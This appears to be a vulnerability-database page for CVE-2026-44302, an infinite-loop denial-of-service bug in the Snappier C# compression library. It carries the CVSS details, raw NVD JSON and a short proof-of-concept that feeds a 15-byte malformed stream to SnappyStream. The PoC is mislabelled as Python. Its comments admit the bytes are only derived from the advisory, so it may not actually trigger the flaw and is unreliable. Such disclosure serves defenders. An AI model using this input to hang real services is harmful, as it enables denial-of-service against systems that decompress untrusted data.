CVE-2026-44302

Description

Snappier is a high performance C# implementation of the Snappy compression algorithm. Prior to 1.3.1, Snappier.SnappyStream enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes. This vulnerability is fixed in 1.3.1.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Snappier < 1.3.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

using System;
using System.IO;
using Snappier; // Assuming Snappier namespace

public class PoC
{
    public static void Main()
    {
        // Malformed stream data approx 15 bytes that triggers the infinite loop
        // Note: The exact bytes are derived from the advisory GHSA-pggp-6c3x-2xmx
        byte[] malformedData = new byte[] { 0xff, 0x06, 0x00, 0x00, 0x73, 0x4e, 0x61, 0x50, 0x70, 0x59, 0x00, 0x00, 0x00, 0x00, 0x00 };

        try
        {
            using (var inputStream = new MemoryStream(malformedData))
            using (var snapStream = new SnappyStream(inputStream, Snappier.SnappyStreamMode.Decompress))
            using (var outputStream = new MemoryStream())
            {
                // This operation will hang indefinitely in versions < 1.3.1
                snapStream.CopyTo(outputStream);
                Console.WriteLine("Decompression finished (should not happen with vulnerable version).");
            }
        }
        catch (Exception ex)
        {
            Console.WriteLine($"Exception caught: {ex.Message}");
        }
    }
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-44302
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-44302
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-44302/
[4] VulDB https://vuldb.com/cve/CVE-2026-44302
[5] https://github.com/brantburnett/Snappier/security/advisories/GHSA-pggp-6c3x-2xmx

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-44302", "sourceIdentifier": "[email protected]", "published": "2026-05-12T22:16:36.997", "lastModified": "2026-05-12T22:16:36.997", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Snappier is a high performance C# implementation of the Snappy compression algorithm. Prior to 1.3.1, Snappier.SnappyStream enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes. This vulnerability is fixed in 1.3.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-835"}]}], "references": [{"url": "https://github.com/brantburnett/Snappier/security/advisories/GHSA-pggp-6c3x-2xmx", "source": "[email protected]"}]}}